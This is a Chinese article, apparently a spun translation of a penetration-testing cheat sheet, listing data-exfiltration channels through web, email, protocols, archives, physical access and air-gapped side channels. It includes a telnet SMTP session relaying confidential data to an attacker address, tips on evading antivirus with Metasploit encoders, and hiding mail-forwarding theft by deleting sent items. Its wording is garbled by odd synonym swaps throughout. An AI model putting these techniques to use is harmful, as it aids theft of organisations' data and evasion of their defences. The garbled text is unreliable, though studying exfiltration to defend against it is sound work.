快捷搜索:  网络  CVE  渗透  后门  扫描  木马  黑客  as

经验分享 | 防范数据窃取从了解其伎俩坐起

data-exfil (1).png

数据窃取是针对构造攻击链中的最后一个阶段。攻击者窃取数据的手艺可谓花腔百出,网上也有大批关于数据窃取方面的手艺文档和工具。本文的目的就是绝可能的将这些手艺整合起来,以作为人人往后渗透排泄测试时的一个CheatSheet使用。

KillChain.png

工欲善其事必先利其器,防范数据窃取必须先熟识其使用的手段。文中所提及的大多数手艺触及直接的内部到外部数据窃取。需要说明的是这并不是一个完备版本,要是你知道的更多,那么请在评述处留言并告知我们!

Web

许多企业都没有在合适之处配置任何类型的web代办署理这对于攻击者而言将会是个很好的机会。

Anon paste站点例如pastebin甚至是github,都为我们提供了一个数据窃取的简易通道。许多手艺构造通常都会允许Github的使用。

要是有代办署理以及过滤,你可能就需要花点心思了,但许多常见网站都会允许使用Dropbox,Google Drive以及Box等,特别是那些有云外包服务的企业。

许多站点出于某些缘故起因并未启用TLS,这很容易导致中间人攻击。因此,要是你的站点没有启用https,那么可以使用用Let’s Encrypt为你的站点免费加密。

即使启用了类似Websense如许的功能,很多类别也不能用于完备的TLS检查——譬如财务以及医疗——雇员隐衷。许多分类体系允许你根据本人的实际情形配置分类,因此攻击者只需做好预先计划,例如创建一个医疗站点就可能轻松绕过过滤机制。

Flickr以及YouTube是否可以走访? 要是可以的话,则可以使用这些服务暂存相对于较大的文件,包括使用隐写术。

也许你的企业拥有本人的可从Internet走访的Web服务器。那么你可以想办法拿下其中的一台,来作为你进一步渗透排泄的中转站。

Email

你是否可以走访一些首要的收集邮件提供商 – 例如Gmail,黑客技术,Outlook.com等?要是你的目标企业有外包到Office 365或GSuite(检查其MX或邮件头),则更有可能完成此目的。

出站SMTP/POP3/IMAP是否可用。检查加密和未加密的端口 – 25/465/587,110/999,143/993。

是否存在错误设置的邮件中继?是否可以通过诈骗内部地址来中继到外部地址?(这也可在内网钓鱼时用来绕过message hygiene过滤器 )

#telnet internal.smtp.local 25
HELO attacker
MAIL FROM:<attacker@domain.com>
RCPT TO:<attacker@attackerdomain.com>
DATA
Here is lots of confidential data
.
QUIT

要是邮箱遭到入侵(后钓鱼行使),攻击者可以将Outlook中的自动转发规则配置为他们选择的外部地址。通常这对于高价值目标无比有效。以后,我们可以使用相同的规则来删除已发送的项目,以笼盖留下的痕迹。

Malware

Meterpreter是一种进步先辈的,可动态扩大的有用载荷,它使用内存中的DLL注入阶段,并在运行时通过收集扩大。它通过stager套接字进行通讯并提供周全的客户端Ruby API。它包含命令历史记录,制表符实现,频道等。https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

要绝可能的避免杀软以及收集入侵检测,你可以使用Metasploit中提供的编码器(例如/shikata_ga_nai)。还有就是绝量不要将正在使用的payload,上传到像VirusTotal这种的在线病毒扫描网站。因为一旦上传你的payload就会被分享给所有的AV公司,并会在短时间内被杀毒软件查杀。https://www.offensive-security.com/metasploit-unleashed/msfencode/

协定滥用

FTP/SSH/SCP/SFTP可能被允许出站,因为它们经常被用作数据交换协定。客户端工具也能够在体系上随时使用,而无需下载其他二进制文件。

DNS Tunneling,是隐蔽信道的一种,通过将其他协定封装在DNS协定中传输确立通讯。因为在我们的收集全国中DNS是一个必不可少的服务,所以大部分防火墙以及入侵检测设备很少会过滤DNS流量。这里推荐人人可以使用dnscat2。

一些IDS/IDP现在能够发现DNS地道,但经常错过通过DNS TXT记录发送的数据。我们制造了一个工具你可以通过它来提供文件:https://github.com/pentestpartners/Uninvited-Guest,还有一个早期的版本:https://github.com/pentestpartners/DNSTXT-encoder。

你可以尝试原始TCP套接字。可能ICMP被允许出站(它是一种无比实用的诊断工具,在IPv6中很重要)- 但它很慢。https://github.com/sensepost/DET

我们可以使用secret_sender操纵IP数据包,通过其中一个协定(TCMP Echo Request,TCP SYN或UDP)发送从命令行接受的新闻,将数据泄露到服务器上。因为它看起来像是服务器的正常数据包,因此它不会引起任何的嫌疑。

Old-school port knocking(端口拍门)也是一种选择:https://www.sans.org/reading-room/whitepapers/covert/portknockout-data-exfiltration-port-knocking-udp-37307

像bittorrent如许的P2P协定是否可用?

要是HTTPS检查没有对外部以及内部名称做匹配性检查,那么可以尝试通过Tor以及domain fronting(域前置)来绕过过滤器。https://blog.didierstevens.com/2018/01/20/quickpost-data-exfiltration-with-tor-browser-and-domain-fronting/

许多即时新闻协定,如Skype,Facebook Messenger以及IRC也能够被行使。就拿我当前地点的企业来说,我们使用的是Skype for Business并且还启用了federation。https://www.sans.org/reading-room/whitepapers/covert/skype-data-exfiltration-34560

NTP以及BGP协定通常也被允许,可以滥用它们来泄露数据。https://www.darknet.org.uk/2016/11/pyexfil-python-data-exfiltration-tools/

遥程桌面通常可用于映照磁盘以及剪贴板,即便被制约,我们也能够使用PTP Rat通过显示器像素值来泄露数据。

X509证书可以被嵌入到二进制数据中,因此可用于传输数据。https://github.com/fideliscyber/x509

Internal Staging

WMI调用可用于启动传输,配置ADS或采用卷影拷贝来隐躲staging体系上的数据。https://github.com/secabstraction/WmiSploit

Windows BITS可用于传输调度或涓撒播输信息,以免触发“top talkers”触发器。

文件类型

对于一些装置了DLP(数据泄露防护体系)的企业,我们可以尝试将数据封装在下列文件类型来绕过DLP:

Zip

加密 (AES) Zip

深度嵌套 Zip(许多体系会在10-100层以后休止扫描,以免Zip炸弹) 

7zip

RAR

CAB

Tar (+/- gzip)

WIM image

物理

要是攻击者或恶意的内部工作人员具有物理走访权限,那么我们又该怎么做?

检查笔记本USB插口是否已锁定,MP3播放器以及智能手机。是否已配置仅允许授权USB连接选项。

可以将数据保存在CD以及DVD中,相较于USB它们更难以泄露数据。

笔记本上的资产贴纸,是否有任何泄露信息?便携式设备是否具有完全的磁盘加密?垃圾箱或是在eBay上是否有处理欠妥的机器?

许多企业都拥有本人的打印机,打印机的功能也无比的齐全,例如检索之前的打印义务,甚至可以通过传真线传输数据。http://seclists.org/bugtraq/2016/Sep/54

公司的Wi-Fi是否安全?是否使用了不安全WPA-PSK加密。访客Wi-Fi收集是否与企业首要收集充分隔离?企业体系是否被允许连接到访客Wi-Fi?

攻击者是否可以行使弱边缘端口安全性在收集上植入设备,例如具有本人的蜂窝带外命令连接的Raspberry Pi?

收集摄像头

手机

硬拷贝

隔离收集

在收集隔离的情形下,可以针对蓝牙设备提议攻击,例如控制设备或在设备范围内传播恶意软件等。https://blog.malwarebytes.com/cybercrime/2017/09/blueborne-bluetooths-airborne-influenza/

PC扬声器:首要行使特定的音频芯片功能,将输出音频插孔转换成输入插孔,从而将连接的扬声器有用地转换为(非传统)麦克风。感染air-gapped计算机的恶意软件可以将内陆存储的文件转换成音频旗子灯号,并通过连接的扬声器、耳机或耳塞将它们传送到附近的另一台计算机设备。详细可参考:https://thehackernews.com/2018/03/air-gap-computer-hacking.html

LED灯:硬盘上的LED唆使灯也是个很好的突破口,它每一秒至多能闪灼6000次。因此,黑客可以借助这些闪灼遥程获取数据。https://www.wired.com/2017/02/malware-sends-stolen-data-drone-just-pcs-blinking-led/

磁:ODINI以及MAGNETO攻击可以行使计算机处理器产生的磁旗子灯号来窃取数据。磁旗子灯号可以通过读写硬盘驱动来产生。由于该攻击为低频磁场,因此可以绕过法拉第屏蔽。

电力线:通过电力线从隔离计算机中提取数据。

“Fansmitter”- 占用计算机的风扇并修改其转速以控制产生的声音。https://www.technologyreview.com/s/601816/how-fansmitter-malware-steals-data-from-air-gapped-computers/

 *参考来源:pentestpartners, secist 编译,

您可能还会对下面的文章感兴趣: